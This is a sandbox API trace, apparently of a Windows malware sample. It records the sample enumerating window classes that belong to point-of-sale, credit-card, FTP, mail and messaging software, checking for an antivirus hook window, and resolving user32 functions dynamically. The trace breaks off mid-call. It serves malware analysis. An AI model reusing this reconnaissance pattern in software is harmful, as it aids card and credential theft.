GetClassNameA (in: hWnd=0x100a0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0268.458] GetClassNameA (in: hWnd=0x200f8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0268.458] GetClassNameA (in: hWnd=0x100e8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0268.458] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0268.458] GetClassNameA (in: hWnd=0x10096, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Shell_TrayWnd") returned 13 [0268.458] GetClassNameA (in: hWnd=0x10220, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ATL:00007FF9CBC27230") returned 20 [0268.458] GetClassNameA (in: hWnd=0x1010e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0268.459] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0268.459] GetClassNameA (in: hWnd=0x4036a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ConsoleWindowClass") returned 18 [0268.459] GetClassNameA (in: hWnd=0x102f4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="lancasterwindow") returned 15 [0268.459] GetClassNameA (in: hWnd=0x6003e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Eossayswin") returned 10 [0268.459] GetClassNameA (in: hWnd=0x202ec, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="nv_Ambien_Sharp_") returned 16 [0268.460] GetClassNameA (in: hWnd=0x102e8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="utg2_cls") returned 8 [0268.460] GetClassNameA (in: hWnd=0x202e2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="spgagentservicewin") returned 18 [0268.460] GetClassNameA (in: hWnd=0x202e0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="spcwinclass") returned 11 [0268.460] GetClassNameA (in: hWnd=0x102dc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="omnipos_win") returned 11 [0268.460] GetClassNameA (in: hWnd=0x202d8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="mxslipstream_app") returned 16 [0268.460] GetClassNameA (in: hWnd=0x202d4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="isspos_app") returned 10 [0268.460] GetClassNameA (in: hWnd=0x102d0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="fpos_win") returned 8 [0268.460] GetClassNameA (in: hWnd=0x102cc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="edcsvrwnd") returned 9 [0268.461] GetClassNameA (in: hWnd=0x102c8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="creditservicewnd") returned 16 [0268.461] GetClassNameA (in: hWnd=0x102c4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="centralcreditcardwindow") returned 23 [0268.461] GetClassNameA (in: hWnd=0x102c0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ccv_server_") returned 11 [0268.461] GetClassNameA (in: hWnd=0x102bc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="aldelocls") returned 9 [0268.461] GetClassNameA (in: hWnd=0x102b8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="afr38_win") returned 9 [0268.461] GetClassNameA (in: hWnd=0x102b4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="accupos_") returned 8 [0268.461] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="active-charge_win") returned 17 [0268.462] GetClassNameA (in: hWnd=0x102ac, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="yahoomessengercls") returned 17 [0268.462] GetClassNameA (in: hWnd=0x202a8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="winscp_cls") returned 10 [0268.462] GetClassNameA (in: hWnd=0x202a2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="whatsappapp") returned 11 [0268.462] GetClassNameA (in: hWnd=0x2029e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="webdrive") returned 8 [0268.462] GetClassNameA (in: hWnd=0x1029c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="trillian_app") returned 12 [0268.462] GetClassNameA (in: hWnd=0x20298, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="totalcmdwindow") returned 14 [0268.462] GetClassNameA (in: hWnd=0x20294, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="thunderbirdapp") returned 14 [0268.462] GetClassNameA (in: hWnd=0x10290, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="smartftp_cls") returned 12 [0268.462] GetClassNameA (in: hWnd=0x1028c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="skype_") returned 6 [0268.463] GetClassNameA (in: hWnd=0x10288, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="scriptftp_win") returned 13 [0268.463] GetClassNameA (in: hWnd=0x10284, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="pidgin") returned 6 [0268.463] GetClassNameA (in: hWnd=0x30280, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="outlookapp") returned 10 [0268.463] GetClassNameA (in: hWnd=0x3027c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="operamailwindow") returned 15 [0268.463] GetClassNameA (in: hWnd=0x30276, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="notepad_class") returned 13 [0268.463] GetClassNameA (in: hWnd=0x50258, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ncftp_class") returned 11 [0268.463] GetClassNameA (in: hWnd=0x50266, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="leechftpwnd") returned 11 [0268.463] GetClassNameA (in: hWnd=0x1026c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="icq_cls") returned 7 [0268.464] GetClassNameA (in: hWnd=0x20260, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="gmailnotifierprocls") returned 19 [0268.464] GetClassNameA (in: hWnd=0x2025a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="foxmailincmailwindow") returned 20 [0268.464] GetClassNameA (in: hWnd=0x4024c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="flingclass") returned 10 [0268.464] GetClassNameA (in: hWnd=0x20250, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="flashfxp_app") returned 12 [0268.464] GetClassNameA (in: hWnd=0x30242, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="filezilla_window") returned 16 [0268.464] GetClassNameA (in: hWnd=0x10246, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="farcls") returned 6 [0268.464] GetClassNameA (in: hWnd=0x3023c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="coreftpclass") returned 12 [0268.465] GetClassNameA (in: hWnd=0x3023a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="bitkinexcls") returned 11 [0268.465] GetClassNameA (in: hWnd=0x20236, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="barcaapp") returned 8 [0268.465] GetClassNameA (in: hWnd=0x20232, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="alftp_win") returned 9 [0268.465] GetClassNameA (in: hWnd=0x301ee, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="absolutetelnet_cls") returned 18 [0268.465] GetClassNameA (in: hWnd=0x5006c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="3dftpclass") returned 10 [0268.465] GetClassNameA (in: hWnd=0x30084, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="PhrasesuniqueMemwnd") returned 19 [0268.465] GetClassNameA (in: hWnd=0x30086, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="parkersonicmetallicclass") returned 24 [0268.465] GetClassNameA (in: hWnd=0x3005a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Intellectualcleanerwnd") returned 22 [0268.466] GetClassNameA (in: hWnd=0x20058, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Systems_limitation_window") returned 25 [0268.466] GetClassNameA (in: hWnd=0x2006e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Tyler_wnd") returned 9 [0268.466] GetClassNameA (in: hWnd=0x20066, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="cinemaCountwindow") returned 17 [0268.466] GetClassNameA (in: hWnd=0x30056, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Canvas") returned 6 [0268.466] GetClassNameA (in: hWnd=0x8005e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="biblewindow") returned 11 [0268.466] GetClassNameA (in: hWnd=0x30190, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Teeth_cls") returned 9 [0268.466] GetClassNameA (in: hWnd=0x701be, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="juryPhotographicRecommendwnd") returned 28 [0268.466] GetClassNameA (in: hWnd=0x50064, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="photo_wnd") returned 9 [0268.467] GetClassNameA (in: hWnd=0x70072, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="lawyers_cohen_Accomplish_cls") returned 28 [0268.467] GetClassNameA (in: hWnd=0x40168, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="CetAlgeriamunicipalwindow") returned 25 [0268.467] GetClassNameA (in: hWnd=0x30164, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="address_win") returned 11 [0268.467] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Narrative_Hosting_win") returned 21 [0268.467] GetClassNameA (in: hWnd=0x30114, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Technocls") returned 9 [0268.467] GetClassNameA (in: hWnd=0x30092, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ConcludedRochesterDiscussed") returned 27 [0268.467] GetClassNameA (in: hWnd=0x30090, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Physical_illustrated_er_class") returned 29 [0268.467] GetClassNameA (in: hWnd=0x30124, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Initiative_lab_Lindsay_cls") returned 26 [0268.467] GetClassNameA (in: hWnd=0x40134, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="MakeObjectcls") returned 13 [0268.468] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0268.468] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="PNIHiddenWnd") returned 12 [0268.468] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0268.468] GetClassNameA (in: hWnd=0x10218, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0268.468] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ATL:00007FF9D691E130") returned 20 [0268.468] GetClassNameA (in: hWnd=0x101da, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="SystemTray_Main") returned 15 [0268.468] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="OleDdeWndClass") returned 14 [0268.469] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0268.469] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="TabletModeCoverWindow") returned 21 [0268.469] GetClassNameA (in: hWnd=0x501ba, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0268.469] GetClassNameA (in: hWnd=0x20326, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0268.469] GetClassNameA (in: hWnd=0x10152, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0268.469] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0268.469] GetClassNameA (in: hWnd=0x200a6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0268.469] GetClassNameA (in: hWnd=0x10132, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="OleDdeWndClass") returned 14 [0268.470] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0268.470] GetClassNameA (in: hWnd=0x10126, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0268.470] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0268.470] GetClassNameA (in: hWnd=0x10118, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0268.470] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0268.470] GetClassNameA (in: hWnd=0x10102, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0268.470] GetClassNameA (in: hWnd=0x100ea, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0268.471] GetClassNameA (in: hWnd=0x2007a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0268.471] GetClassNameA (in: hWnd=0x100be, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0268.471] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0268.471] GetClassNameA (in: hWnd=0x2003c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0268.471] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="DDEMLEvent") returned 10 [0268.471] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="DDEMLMom") returned 8 [0268.471] GetClassNameA (in: hWnd=0x10042, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Dwm") returned 3 [0268.471] GetClassNameA (in: hWnd=0x2007e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="CicLoaderWndClass") returned 17 [0268.471] GetClassNameA (in: hWnd=0x10104, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Progman") returned 7 [0268.472] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.472] GetClassNameA (in: hWnd=0x10100, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="MSCTFIME UI") returned 11 [0268.472] GetClassNameA (in: hWnd=0x10098, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.472] GetClassNameA (in: hWnd=0x30370, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.472] GetClassNameA (in: hWnd=0x102f8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.472] GetClassNameA (in: hWnd=0x102f6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.472] GetClassNameA (in: hWnd=0x102f0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.473] GetClassNameA (in: hWnd=0x102ea, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.473] GetClassNameA (in: hWnd=0x202e6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.473] GetClassNameA (in: hWnd=0x102e4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.473] GetClassNameA (in: hWnd=0x102de, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.473] GetClassNameA (in: hWnd=0x202da, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.473] GetClassNameA (in: hWnd=0x102d6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.473] GetClassNameA (in: hWnd=0x102d2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.473] GetClassNameA (in: hWnd=0x202ce, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.473] GetClassNameA (in: hWnd=0x202ca, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.474] GetClassNameA (in: hWnd=0x202c6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.474] GetClassNameA (in: hWnd=0x202c2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.474] GetClassNameA (in: hWnd=0x202be, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.474] GetClassNameA (in: hWnd=0x202ba, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.474] GetClassNameA (in: hWnd=0x202b6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.474] GetClassNameA (in: hWnd=0x202b2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.474] GetClassNameA (in: hWnd=0x102ae, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.474] GetClassNameA (in: hWnd=0x202aa, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.474] GetClassNameA (in: hWnd=0x102a6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.474] GetClassNameA (in: hWnd=0x102a4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.475] GetClassNameA (in: hWnd=0x102a0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.475] GetClassNameA (in: hWnd=0x2029a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.475] GetClassNameA (in: hWnd=0x10296, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.475] GetClassNameA (in: hWnd=0x10292, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.475] GetClassNameA (in: hWnd=0x2028e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.475] GetClassNameA (in: hWnd=0x2028a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.475] GetClassNameA (in: hWnd=0x20286, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.475] GetClassNameA (in: hWnd=0x20282, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.475] GetClassNameA (in: hWnd=0x50270, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.475] GetClassNameA (in: hWnd=0x1027e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.475] GetClassNameA (in: hWnd=0x20278, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.476] GetClassNameA (in: hWnd=0x10272, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.476] GetClassNameA (in: hWnd=0x2026e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.476] GetClassNameA (in: hWnd=0x1026a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.476] GetClassNameA (in: hWnd=0x10264, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.476] GetClassNameA (in: hWnd=0x2025c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.476] GetClassNameA (in: hWnd=0x10254, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.476] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.476] GetClassNameA (in: hWnd=0x10248, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.476] GetClassNameA (in: hWnd=0x20244, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.476] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.476] GetClassNameA (in: hWnd=0x10238, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.476] GetClassNameA (in: hWnd=0x10234, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.477] GetClassNameA (in: hWnd=0x401f4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.477] GetClassNameA (in: hWnd=0x401f0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.477] GetClassNameA (in: hWnd=0x20080, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.477] GetClassNameA (in: hWnd=0x20082, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.477] GetClassNameA (in: hWnd=0x20078, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.477] GetClassNameA (in: hWnd=0x2005c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.477] GetClassNameA (in: hWnd=0x4007c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.477] GetClassNameA (in: hWnd=0x3006a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.477] GetClassNameA (in: hWnd=0x30070, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.477] GetClassNameA (in: hWnd=0x20062, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.478] GetClassNameA (in: hWnd=0x30052, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.478] GetClassNameA (in: hWnd=0x20214, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.478] GetClassNameA (in: hWnd=0x60034, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.478] GetClassNameA (in: hWnd=0x70032, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.478] GetClassNameA (in: hWnd=0x60068, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.478] GetClassNameA (in: hWnd=0x20172, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.478] GetClassNameA (in: hWnd=0x2015e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.478] GetClassNameA (in: hWnd=0x201f8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.478] GetClassNameA (in: hWnd=0x200f0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.478] GetClassNameA (in: hWnd=0x200ee, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.478] GetClassNameA (in: hWnd=0x2008e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.478] GetClassNameA (in: hWnd=0x20174, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.479] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.479] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.479] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.479] GetClassNameA (in: hWnd=0x10128, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.479] GetClassNameA (in: hWnd=0x10120, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="MSCTFIME UI") returned 11 [0268.479] GetClassNameA (in: hWnd=0x1010c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.479] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.479] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0268.479] lstrlenA (lpString="snxhk_border_mywnd") returned 18 [0268.479] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0268.479] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220f9f0 [0268.479] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xf) returned 0x220fab0 [0268.480] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0268.480] lstrlenA (lpString="kernel32.dll") returned 12 [0268.480] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f9f0 | out: hHeap=0x2190000) returned 1 [0268.480] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0268.480] lstrlenA (lpString="GetProcAddress") returned 14 [0268.480] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fab0 | out: hHeap=0x2190000) returned 1 [0268.480] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xb) returned 0x220fba0 [0268.480] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76850000 [0268.481] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220fb28 [0268.481] GetProcAddress (hModule=0x76850000, lpProcName="MessageBoxA") returned 0x768bd740 [0268.481] lstrlenA (lpString="MessageBoxA") returned 11 [0268.481] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fb28 | out: hHeap=0x2190000) returned 1 [0268.481] lstrlenA (lpString="user32.dll") returned 10 [0268.481] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fba0 | out: hHeap=0x2190000) returned 1 [0268.481] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xc) returned 0x220fb58 [0268.481] GetProcAddress (hModule=0x76850000, lpProcName="FindWindowA") returned 0x76867a80 [0268.481] lstrlenA (lpString="FindWindowA") returned 11 [0268.481] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fb58 | out: hHeap=0x2190000) returned 1 [0268.481] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220fb88 [0268.482] GetProcAddress (hModule=0x76850000, lpProcName="SendMessageA") returned 0x76860630 [0268.496] lstrlenA (lpString="SendMessageA") returned 12 [0268.496] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fb88 | out: hHeap=0x2190000) returned 1 [0268.496] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0xd) returned 0x220fa08 [0268.496] GetProcAddress (hModule=0x76850000, lpProcName="PostMessageA") returned 0x7686b8d0 [0268.496] lstrlenA (lpString="PostMessageA") returned 12 [0268.496] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fa08 | out: hHeap=0x2190000) returned 1 [0268.496] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x14) returned 0x220f700 [0268.497] GetProcAddress (hModule=0x76850000, lpProcName="GetForegroundWindow") returned 0x76883420 [0268.497] lstrlenA (lpString="GetForegroundWindow") returned 19 [0268.497] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0268.497] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x11) returned 0x220f700 [0268.497] GetProcAddress (hModule=0x76850000, lpProcName="RegisterClassExA") returned 0x76868260 [0268.497] lstrlenA (lpString="RegisterClassExA") returned 16 [0268.497] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0268.497] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x10) returned 0x220fa68 [0268.497] GetProcAddress (hModule=0x76850000, lpProcName="CreateWindowExA") returned 